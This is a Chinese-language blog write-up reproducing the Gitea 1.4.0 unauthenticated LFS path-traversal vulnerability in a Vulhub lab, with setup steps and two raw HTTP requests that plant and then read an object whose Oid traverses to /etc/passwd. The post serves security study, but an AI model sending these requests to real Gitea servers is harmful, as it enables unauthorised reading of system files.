Gitea 1.4 未授权远程代码执行
一、漏洞描述
Gitea是从gogs衍生出的一个开源项目,是一个类似于Github、Gitlab的多用户Git仓库管理平台。其1.4.0版本中有一处逻辑错误,导致未授权用户可以穿越目录,读写任意文件,最终导致执行任意命令。
二、影响版本
1.4.0
三、环境准备&&漏洞复现
Vulhub进行搭建
https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce安装镜像docker-compose up -d
环境启动成功
初始化配置:
http://192.168.1.108:3000/install
其他默认设置一下管理员账户密码:
初始化完成成功进去面板
安装完成后,新建一个用户,然后创建一个公开的仓库
创建一个公开的仓库
仓库创见成功
需要重启一下重启gitea服务
docker-compose restart
漏洞验证:
具体数据包:
POST/lostworld/getpasswd.git/info/lfs/objectsHTTP/1.1Host: 192.168.1.108:3000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52Accept: application/vnd.git-lfs+jsonAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: lang=zh-CN; i_like_gitea=7b3a3994aeff5ed0; _csrf=lA-gqD5gapHJeeQEz_XUOsejTSY6MTYwOTk4NzQ3MTAwNDc0MzE3OQ%3D%3DConnection: closeContent-Length: 153{"Oid":"....../../../etc/passwd","Size":1000000,"User":"a","Password":"a","Repo":"a","Authorization":"a"}
出现401说明发送数据包LFS对象已经创建成功,且其Oid为....../../../etc/passwd。
访问路径
http://192.168.1.108:3000/admins/test.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth
具体读取数据包
GET/lostworld/getpasswd.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sthHTTP/1.1Host: 192.168.1.108:3000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: lang=zh-CN; i_like_gitea=19fae7187e6a86e2; _csrf=y0uGd4qsOuq8esEW9S4hXHWRGHo6MTYwOTk4ODAwNzczODc4NzI3MQ%3D%3DConnection: close
参考:
https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce
https://mp.weixin.qq.com/s/vsQsATBNbOkyVmTgm-zU2w
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400
个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
个人博客园:https://www.cnblogs.com/thelostworld/
FREEBUF主页:https://www.freebuf.com/author/thelostworld?type=article
欢迎添加本公众号作者微信交流,添加时备注一下“公众号”
2021近期往期内容:
MinIO未授权SSRF漏洞(CVE-2021-21287)
Apache Druid 命令执行漏洞(CVE-2021-25646)复现
Linux sudo权限提升漏洞(CVE-2021-3156)复现
CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
CVE-2021-2109 Weblogic Server远程代码执行
Apache Flink (文件写入漏洞/文件读取漏洞)CVE-2020-17518/17519